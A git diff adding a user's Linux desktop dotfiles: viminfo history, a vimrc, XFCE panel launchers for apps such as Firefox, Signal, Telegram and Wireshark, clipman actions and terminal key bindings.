|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
-' 50 12 ~/optishl/optishl
|
||||||
|
|4,39,50,12,1516584522,"~/optishl/optishl"
|
||||||
|
|
||||||
|
# History of marks within files (newest to oldest):
|
||||||
|
|
||||||
|
> ~/.config/pavucontrol.ini
|
||||||
|
* 1516765003 0
|
||||||
|
" 1 0
|
||||||
|
|
||||||
|
> ~/.config/gtk-2.0/gtkfilechooser.ini
|
||||||
|
* 1516764993 0
|
||||||
|
" 1 0
|
||||||
|
|
||||||
|
> ~/.config/gtk-3.0/bookmarks
|
||||||
|
* 1516764944 0
|
||||||
|
" 1 0
|
||||||
|
|
||||||
|
> ~/optishl/optishl
|
||||||
|
* 1516585812 0
|
||||||
|
" 73 79
|
||||||
|
^ 73 80
|
||||||
|
. 73 79
|
||||||
|
+ 65 62
|
||||||
|
+ 66 0
|
||||||
|
+ 66 3
|
||||||
|
+ 67 2
|
||||||
|
+ 70 4
|
||||||
|
+ 70 0
|
||||||
|
+ 70 4
|
||||||
|
+ 70 1
|
||||||
|
+ 70 5
|
||||||
|
+ 67 76
|
||||||
|
+ 69 4
|
||||||
|
+ 67 16
|
||||||
|
+ 70 0
|
||||||
|
+ 68 78
|
||||||
|
+ 65 0
|
||||||
|
+ 66 0
|
||||||
|
+ 65 75
|
||||||
|
+ 67 18
|
||||||
|
+ 65 82
|
||||||
|
+ 67 75
|
||||||
|
+ 65 0
|
||||||
|
+ 23 0
|
||||||
|
+ 63 75
|
||||||
|
+ 65 26
|
||||||
|
+ 67 15
|
||||||
|
+ 65 0
|
||||||
|
+ 67 92
|
||||||
|
+ 67 0
|
||||||
|
+ 64 43
|
||||||
|
+ 69 0
|
||||||
|
+ 68 2
|
||||||
|
+ 70 0
|
||||||
|
+ 64 40
|
||||||
|
+ 73 79
|
||||||
|
|
||||||
|
> ~/Downloads/Telegram Desktop/resultado.txt
|
||||||
|
* 1516522594 0
|
||||||
|
" 1 0
|
||||||
|
|
||||||
|
> ~/Downloads/Telegram Desktop/resultado
|
||||||
|
* 1516522418 0
|
||||||
|
" 1 0
|
||||||
|
|
||||||
|
> ~/Downloads/texto.txt
|
||||||
|
* 1516522324 0
|
||||||
|
" 1 0
|
||||||
|
|
||||||
|
> /boot/grub/grubenv
|
||||||
|
* 1516497178 0
|
||||||
|
" 3 0
|
||||||
|
|
||||||
|
> /etc/modules-load.d/virtualbox.conf
|
||||||
|
* 1516482002 0
|
||||||
|
" 4 6
|
||||||
|
^ 4 7
|
||||||
|
. 4 6
|
||||||
|
+ 4 6
|
||||||
|
|
||||||
|
> /tmp/xa-VGJ9CZ/signal-desktop-beta.install
|
||||||
|
* 1516401155 0
|
||||||
|
" 1 0
|
||||||
|
|
||||||
|
> /tmp/xa-VGJ9CZ/.SRCINFO
|
||||||
|
* 1516401154 0
|
||||||
|
" 1 0
|
||||||
|
|
||||||
|
> /tmp/xa-VGJ9CZ/PKGBUILD
|
||||||
|
* 1516401150 0
|
||||||
|
" 8 24
|
||||||
|
|
||||||
|
> ~/redes
|
||||||
|
* 1516225805 0
|
||||||
|
" 2 0
|
||||||
|
. 2 0
|
||||||
|
+ 4 0
|
||||||
|
+ 2 0
|
||||||
|
|
||||||
|
> /tmp/crontab.fWEBO3
|
||||||
|
* 1516059749 0
|
||||||
|
" 1 0
|
||||||
|
^ 1 0
|
||||||
|
. 1 10
|
||||||
|
+ 1 10
|
||||||
|
|
||||||
|
> /tmp/crontab.CCSyk0
|
||||||
|
* 1516059378 0
|
||||||
|
" 1 22
|
||||||
|
^ 1 23
|
||||||
|
. 1 22
|
||||||
|
+ 1 22
|
||||||
|
|
||||||
|
> /tmp/crontab.4rawXX
|
||||||
|
* 1516059178 0
|
||||||
|
" 1 0
|
||||||
28
vimrc
Normal file
28
vimrc
Normal file
|
|
@ -0,0 +1,28 @@
|
||||||
|
" Vim configuration file
|
||||||
|
|
||||||
|
syntax on
|
||||||
|
set guifont=Monospace\ Bold\ 12
|
||||||
|
colors gruvbox
|
||||||
|
set background=dark
|
||||||
|
|
||||||
|
" Uncomment the following to have Vim jump to the last position when
|
||||||
|
" reopening a file
|
||||||
|
if has("autocmd")
|
||||||
|
au BufReadPost * if line("'\"") > 1 && line("'\"") <= line("$") | exe
|
||||||
|
"normal! g'\"" | endif
|
||||||
|
endif
|
||||||
|
|
||||||
|
" Uncomment the following to have Vim load indentation rules and plugins
|
||||||
|
" according to the detected filetype.
|
||||||
|
if has("autocmd")
|
||||||
|
filetype plugin indent on
|
||||||
|
endif
|
||||||
|
|
||||||
|
set showmatch
|
||||||
|
"set mouse=a
|
||||||
|
set tabstop=4
|
||||||
|
set shiftwidth=4
|
||||||
|
set smartindent
|
||||||
|
set autoindent
|
||||||
|
set cindent
|
||||||
|
"set mouse=a
|
||||||
27
xfce4/desktop/icons.screen0-1350x672.rc
Normal file
27
xfce4/desktop/icons.screen0-1350x672.rc
Normal file
|
|
@ -0,0 +1,27 @@
|
||||||
|
[xfdesktop-version-4.10.3+-rcfile_format]
|
||||||
|
4.10.3+=true
|
||||||
|
|
||||||
|
[shm]
|
||||||
|
row=4
|
||||||
|
col=0
|
||||||
|
|
||||||
|
[tmp]
|
||||||
|
row=0
|
||||||
|
col=1
|
||||||
|
|
||||||
|
[Filesystem root]
|
||||||
|
row=0
|
||||||
|
col=0
|
||||||
|
|
||||||
|
[home]
|
||||||
|
row=1
|
||||||
|
col=0
|
||||||
|
|
||||||
|
[/]
|
||||||
|
row=2
|
||||||
|
col=0
|
||||||
|
|
||||||
|
[/home/shl]
|
||||||
|
row=3
|
||||||
|
col=0
|
||||||
|
|
||||||
19
xfce4/desktop/icons.screen0-1350x721.rc
Normal file
19
xfce4/desktop/icons.screen0-1350x721.rc
Normal file
|
|
@ -0,0 +1,19 @@
|
||||||
|
[xfdesktop-version-4.10.3+-rcfile_format]
|
||||||
|
4.10.3+=true
|
||||||
|
|
||||||
|
[Filesystem root]
|
||||||
|
row=0
|
||||||
|
col=0
|
||||||
|
|
||||||
|
[home]
|
||||||
|
row=1
|
||||||
|
col=0
|
||||||
|
|
||||||
|
[/]
|
||||||
|
row=2
|
||||||
|
col=0
|
||||||
|
|
||||||
|
[/home/shl]
|
||||||
|
row=3
|
||||||
|
col=0
|
||||||
|
|
||||||
2
xfce4/helpers.rc
Normal file
2
xfce4/helpers.rc
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
WebBrowser=firefox
|
||||||
|
|
||||||
17
xfce4/panel/cpugraph-17.rc
Normal file
17
xfce4/panel/cpugraph-17.rc
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
UpdateInterval=0
|
||||||
|
TimeScale=0
|
||||||
|
Size=16
|
||||||
|
Mode=0
|
||||||
|
Frame=1
|
||||||
|
Border=1
|
||||||
|
Bars=1
|
||||||
|
TrackedCore=0
|
||||||
|
Command=xfce4-taskmanager
|
||||||
|
InTerminal=0
|
||||||
|
StartupNotification=1
|
||||||
|
ColorMode=0
|
||||||
|
Foreground1=#0000ffff0000
|
||||||
|
Foreground2=#ffff00000000
|
||||||
|
Foreground3=#00000000ffff
|
||||||
|
Background=#ffffffffffff
|
||||||
|
|
||||||
13
xfce4/panel/launcher-10/15147716082.desktop
Normal file
13
xfce4/panel/launcher-10/15147716082.desktop
Normal file
|
|
@ -0,0 +1,13 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Version=1.0
|
||||||
|
Type=Application
|
||||||
|
Exec=exo-open --launch FileManager %u
|
||||||
|
Icon=system-file-manager
|
||||||
|
StartupNotify=true
|
||||||
|
Terminal=false
|
||||||
|
Categories=Utility;X-XFCE;X-Xfce-Toplevel;
|
||||||
|
OnlyShowIn=XFCE;
|
||||||
|
X-XFCE-MimeType=inode/directory;x-scheme-handler/trash;
|
||||||
|
Name=File Manager
|
||||||
|
Comment=Browse the file system
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/exo-file-manager.desktop
|
||||||
26
xfce4/panel/launcher-11/15149076921.desktop
Normal file
26
xfce4/panel/launcher-11/15149076921.desktop
Normal file
|
|
@ -0,0 +1,26 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Version=1.0
|
||||||
|
Name=Firefox
|
||||||
|
GenericName=Web Browser
|
||||||
|
Comment=Browse the Web
|
||||||
|
Exec=/usr/lib/firefox/firefox %u
|
||||||
|
Icon=firefox
|
||||||
|
Terminal=false
|
||||||
|
Type=Application
|
||||||
|
MimeType=text/html;text/xml;application/xhtml+xml;application/vnd.mozilla.xul+xml;text/mml;x-scheme-handler/http;x-scheme-handler/https;
|
||||||
|
StartupNotify=true
|
||||||
|
StartupWMClass=Firefox
|
||||||
|
Categories=Network;WebBrowser;
|
||||||
|
Keywords=web;browser;internet;
|
||||||
|
Actions=new-window;new-private-window;
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/firefox.desktop
|
||||||
|
|
||||||
|
[Desktop Action new-window]
|
||||||
|
Name=New Window
|
||||||
|
Name[en_US]=New Window
|
||||||
|
Exec=/usr/lib/firefox/firefox --new-window %u
|
||||||
|
|
||||||
|
[Desktop Action new-private-window]
|
||||||
|
Name=New Private Window
|
||||||
|
Name[en_US]=New Private Window
|
||||||
|
Exec=/usr/lib/firefox/firefox --private-window %u
|
||||||
18
xfce4/panel/launcher-12/15164066721.desktop
Normal file
18
xfce4/panel/launcher-12/15164066721.desktop
Normal file
|
|
@ -0,0 +1,18 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Name=Document Viewer
|
||||||
|
Comment=View multi-page documents
|
||||||
|
Keywords=pdf;ps;postscript;dvi;xps;djvu;tiff;document;presentation;
|
||||||
|
TryExec=evince
|
||||||
|
Exec=evince %U
|
||||||
|
StartupNotify=true
|
||||||
|
Terminal=false
|
||||||
|
Type=Application
|
||||||
|
Icon=evince
|
||||||
|
X-GNOME-DocPath=
|
||||||
|
X-GNOME-Bugzilla-Bugzilla=GNOME
|
||||||
|
X-GNOME-Bugzilla-Product=evince
|
||||||
|
X-GNOME-Bugzilla-Component=BugBuddyBugs
|
||||||
|
X-GNOME-Bugzilla-Version=3.26.0
|
||||||
|
Categories=GNOME;GTK;Office;Viewer;Graphics;2DGraphics;VectorGraphics;
|
||||||
|
MimeType=application/pdf;application/x-bzpdf;application/x-gzpdf;application/x-xzpdf;application/x-ext-pdf;application/postscript;application/x-bzpostscript;application/x-gzpostscript;image/x-eps;image/x-bzeps;image/x-gzeps;application/x-ext-ps;application/x-ext-eps;application/illustrator;application/x-dvi;application/x-bzdvi;application/x-gzdvi;application/x-ext-dvi;image/vnd.djvu+multipage;application/x-ext-djv;application/x-ext-djvu;image/tiff;application/x-cbr;application/x-cbz;application/x-cb7;application/x-cbt;application/x-ext-cbr;application/x-ext-cbz;application/vnd.comicbook+zip;application/x-ext-cb7;application/x-ext-cbt;application/oxps;application/vnd.ms-xpsdocument;
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/evince.desktop
|
||||||
21
xfce4/panel/launcher-14/15164856471.desktop
Normal file
21
xfce4/panel/launcher-14/15164856471.desktop
Normal file
|
|
@ -0,0 +1,21 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Name=Thunderbird
|
||||||
|
Comment=Send and receive mail with Thunderbird
|
||||||
|
GenericName=Mail Client
|
||||||
|
Exec=/usr/lib/thunderbird/thunderbird %u
|
||||||
|
Terminal=false
|
||||||
|
Type=Application
|
||||||
|
Icon=thunderbird
|
||||||
|
Categories=Network;Email;
|
||||||
|
MimeType=message/rfc822;x-scheme-handler/mailto;application/x-xpinstall;
|
||||||
|
StartupNotify=true
|
||||||
|
Actions=ComposeMessage;OpenAddressBook;
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/thunderbird.desktop
|
||||||
|
|
||||||
|
[Desktop Action ComposeMessage]
|
||||||
|
Name=Write new message
|
||||||
|
Exec=/usr/lib/thunderbird/thunderbird -compose
|
||||||
|
|
||||||
|
[Desktop Action OpenAddressBook]
|
||||||
|
Name=Open address book
|
||||||
|
Exec=/usr/lib/thunderbird/thunderbird -addressbook
|
||||||
14
xfce4/panel/launcher-16/15149119371.desktop
Normal file
14
xfce4/panel/launcher-16/15149119371.desktop
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Name=GVim
|
||||||
|
GenericName=Text Editor
|
||||||
|
Comment=Edit text files
|
||||||
|
TryExec=gvim
|
||||||
|
Exec=gvim -f %F
|
||||||
|
Terminal=false
|
||||||
|
Type=Application
|
||||||
|
Keywords=Text;editor;
|
||||||
|
Icon=gvim
|
||||||
|
Categories=Utility;TextEditor;
|
||||||
|
StartupNotify=true
|
||||||
|
MimeType=text/english;text/plain;text/x-makefile;text/x-c++hdr;text/x-c++src;text/x-chdr;text/x-csrc;text/x-java;text/x-moc;text/x-pascal;text/x-tcl;text/x-tex;application/x-shellscript;text/x-c;text/x-c++;
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/gvim.desktop
|
||||||
10
xfce4/panel/launcher-20/15149121362.desktop
Normal file
10
xfce4/panel/launcher-20/15149121362.desktop
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Version=1.0
|
||||||
|
Type=Application
|
||||||
|
Name=Bash root
|
||||||
|
Comment=Root Terminal
|
||||||
|
Exec=gksu xfce4-terminal
|
||||||
|
Icon=/home/shl/Pictures/gksu-root-terminal.png
|
||||||
|
Path=
|
||||||
|
Terminal=false
|
||||||
|
StartupNotify=false
|
||||||
10
xfce4/panel/launcher-21/15149097162.desktop
Normal file
10
xfce4/panel/launcher-21/15149097162.desktop
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Name=Riot
|
||||||
|
Comment=A feature-rich client for Matrix.org
|
||||||
|
Exec="/usr/bin/riot-desktop"
|
||||||
|
Terminal=false
|
||||||
|
Type=Application
|
||||||
|
Icon=riot
|
||||||
|
StartupWMClass="Riot"
|
||||||
|
Categories=Network;InstantMessaging;Chat;IRCClient
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/riot.desktop
|
||||||
10
xfce4/panel/launcher-22/15149099133.desktop
Normal file
10
xfce4/panel/launcher-22/15149099133.desktop
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Name=Signal Beta
|
||||||
|
Comment=Private messaging from your desktop
|
||||||
|
Exec="/opt/Signal Beta/signal-desktop-beta" %U
|
||||||
|
Terminal=false
|
||||||
|
Type=Application
|
||||||
|
Icon=signal-desktop-beta
|
||||||
|
StartupWMClass=Signal Beta
|
||||||
|
Categories=Network;
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/signal-desktop-beta.desktop
|
||||||
14
xfce4/panel/launcher-23/15149634861.desktop
Normal file
14
xfce4/panel/launcher-23/15149634861.desktop
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Version=1.0
|
||||||
|
Name=Telegram Desktop
|
||||||
|
Comment=Official desktop version of Telegram messaging app
|
||||||
|
TryExec=/home/shl/.Telegram/Telegram
|
||||||
|
Exec=/home/shl/.Telegram/Telegram -- %u
|
||||||
|
Icon=telegram
|
||||||
|
Terminal=false
|
||||||
|
StartupWMClass=TelegramDesktop
|
||||||
|
Type=Application
|
||||||
|
Categories=Network;InstantMessaging;Qt;
|
||||||
|
MimeType=x-scheme-handler/tg;
|
||||||
|
X-Desktop-File-Install-Version=0.23
|
||||||
|
X-XFCE-Source=file:///home/shl/.local/share/applications/telegramdesktop.desktop
|
||||||
12
xfce4/panel/launcher-24/15153628191.desktop
Normal file
12
xfce4/panel/launcher-24/15153628191.desktop
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Encoding=UTF-8
|
||||||
|
Name=Leafpad
|
||||||
|
Comment=Simple text editor
|
||||||
|
Exec=leafpad %f
|
||||||
|
Icon=leafpad
|
||||||
|
Terminal=false
|
||||||
|
Type=Application
|
||||||
|
MimeType=text/plain
|
||||||
|
Categories=GTK;Utility;TextEditor;
|
||||||
|
StartupNotify=true
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/leafpad.desktop
|
||||||
10
xfce4/panel/launcher-25/15153855422.desktop
Normal file
10
xfce4/panel/launcher-25/15153855422.desktop
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Version=1.0
|
||||||
|
Type=Application
|
||||||
|
Name=Popcorntime
|
||||||
|
Comment=
|
||||||
|
Exec=/home/shl/.Popcorn/Popcorn-Time
|
||||||
|
Icon=/home/shl/.Popcorn/src/app/images/icon.png
|
||||||
|
Path=
|
||||||
|
Terminal=false
|
||||||
|
StartupNotify=false
|
||||||
15
xfce4/panel/launcher-26/15158046271.desktop
Normal file
15
xfce4/panel/launcher-26/15158046271.desktop
Normal file
|
|
@ -0,0 +1,15 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Type=Application
|
||||||
|
Version=1.0
|
||||||
|
Name=Wireshark (GTK+)
|
||||||
|
GenericName=Network Analyzer
|
||||||
|
Comment=Network traffic analyzer
|
||||||
|
Icon=wireshark
|
||||||
|
TryExec=wireshark-gtk
|
||||||
|
Exec=gksu wireshark-gtk %f
|
||||||
|
Terminal=false
|
||||||
|
MimeType=application/vnd.tcpdump.pcap;application/x-pcapng;application/x-snoop;application/x-iptrace;application/x-lanalyzer;application/x-nettl;application/x-radcom;application/x-etherpeek;application/x-visualnetworks;application/x-netinstobserver;application/x-5view;application/x-tektronix-rf5;
|
||||||
|
Categories=Network;Monitor;GTK;
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/wireshark-gtk.desktop
|
||||||
|
Path=
|
||||||
|
StartupNotify=false
|
||||||
9
xfce4/panel/launcher-27/15159394681.desktop
Normal file
9
xfce4/panel/launcher-27/15159394681.desktop
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Version=1.0
|
||||||
|
Type=Application
|
||||||
|
Name=Tor-Browser (en-US)
|
||||||
|
Exec=/usr/bin/tor-browser-en
|
||||||
|
Icon=tor-browser-en
|
||||||
|
Categories=Network;
|
||||||
|
Comment=Tor Browser Bundle: Anonymous browsing using firefox and tor
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/tor-browser-en.desktop
|
||||||
12
xfce4/panel/launcher-9/15147716081.desktop
Normal file
12
xfce4/panel/launcher-9/15147716081.desktop
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Version=1.0
|
||||||
|
Type=Application
|
||||||
|
Exec=exo-open --launch TerminalEmulator
|
||||||
|
Icon=utilities-terminal
|
||||||
|
StartupNotify=true
|
||||||
|
Terminal=false
|
||||||
|
Categories=Utility;X-XFCE;X-Xfce-Toplevel;
|
||||||
|
OnlyShowIn=XFCE;
|
||||||
|
Name=Terminal Emulator
|
||||||
|
Comment=Use the command line
|
||||||
|
X-XFCE-Source=file:///usr/share/applications/exo-terminal-emulator.desktop
|
||||||
44
xfce4/panel/xfce4-clipman-actions.xml
Normal file
44
xfce4/panel/xfce4-clipman-actions.xml
Normal file
|
|
@ -0,0 +1,44 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<actions>
|
||||||
|
<action>
|
||||||
|
<name>Bugz</name>
|
||||||
|
<regex>bug\s*#?\s*([0-9]+)</regex>
|
||||||
|
<group>0</group>
|
||||||
|
<commands>
|
||||||
|
<command>
|
||||||
|
<name>GNOME Bug</name>
|
||||||
|
<exec>exo-open http://bugzilla.gnome.org/show_bug.cgi?id=\1</exec>
|
||||||
|
</command>
|
||||||
|
<command>
|
||||||
|
<name>Xfce Bug</name>
|
||||||
|
<exec>exo-open http://bugzilla.xfce.org/show_bug.cgi?id=\1</exec>
|
||||||
|
</command>
|
||||||
|
</commands>
|
||||||
|
</action>
|
||||||
|
<action>
|
||||||
|
<name>Image</name>
|
||||||
|
<regex>(http|ftp).+\.(jpg|png|gif)</regex>
|
||||||
|
<group>0</group>
|
||||||
|
<commands>
|
||||||
|
<command>
|
||||||
|
<name>View with Ristretto</name>
|
||||||
|
<exec>ristretto "\0"</exec>
|
||||||
|
</command>
|
||||||
|
<command>
|
||||||
|
<name>Edit with Gimp</name>
|
||||||
|
<exec>gimp-remote "\0"</exec>
|
||||||
|
</command>
|
||||||
|
</commands>
|
||||||
|
</action>
|
||||||
|
<action>
|
||||||
|
<name>Long URL</name>
|
||||||
|
<regex>http://[^\s]{120,}</regex>
|
||||||
|
<group>0</group>
|
||||||
|
<commands>
|
||||||
|
<command>
|
||||||
|
<name>Shrink the URL</name>
|
||||||
|
<exec>exo-open http://tinyurl.com/create.php?url=\0</exec>
|
||||||
|
</command>
|
||||||
|
</commands>
|
||||||
|
</action>
|
||||||
|
</actions>
|
||||||
53
xfce4/terminal/accels.scm
Normal file
53
xfce4/terminal/accels.scm
Normal file
|
|
@ -0,0 +1,53 @@
|
||||||
|
; xfce4-terminal GtkAccelMap rc-file -*- scheme -*-
|
||||||
|
; this file is an automated accelerator map dump
|
||||||
|
;
|
||||||
|
(gtk_accel_path "<Actions>/terminal-window/goto-tab-4" "<Alt>4")
|
||||||
|
(gtk_accel_path "<Actions>/terminal-window/goto-tab-3" "<Alt>3")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/file-menu" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/close-other-tabs" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/search" "<Primary><Shift>f")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/next-tab" "<Primary>Page_Down")
|
||||||
|
(gtk_accel_path "<Actions>/terminal-window/goto-tab-1" "<Alt>1")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/show-menubar" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/zoom-reset" "<Primary>0")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/terminal-menu" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/close-window" "<Primary><Shift>q")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/close-tab" "<Primary><Shift>w")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/save-contents" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/new-tab" "<Primary><Shift>t")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/view-menu" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/show-toolbar" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/paste" "<Primary><Shift>v")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/copy" "<Primary><Shift>c")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/edit-menu" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/fullscreen" "F11")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/read-only" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/detach-tab" "<Primary><Shift>d")
|
||||||
|
(gtk_accel_path "<Actions>/terminal-window/goto-tab-8" "<Alt>8")
|
||||||
|
(gtk_accel_path "<Actions>/terminal-window/goto-tab-2" "<Alt>2")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/prev-tab" "<Primary>Page_Up")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/move-tab-left" "<Primary><Shift>Page_Up")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/zoom-in" "<Primary>plus")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/search-prev" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/reset-and-clear" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/about" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/search-next" "")
|
||||||
|
(gtk_accel_path "<Actions>/terminal-window/toggle-menubar" "F10")
|
||||||
|
(gtk_accel_path "<Actions>/terminal-window/goto-tab-7" "<Alt>7")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/select-all" "<Primary><Shift>a")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/help-menu" "")
|
||||||
|
(gtk_accel_path "<Actions>/terminal-window/goto-tab-9" "<Alt>9")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/show-borders" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/preferences" "")
|
||||||
|
(gtk_accel_path "<Actions>/terminal-window/goto-tab-6" "<Alt>6")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/contents" "F1")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/new-window" "<Primary><Shift>n")
|
||||||
|
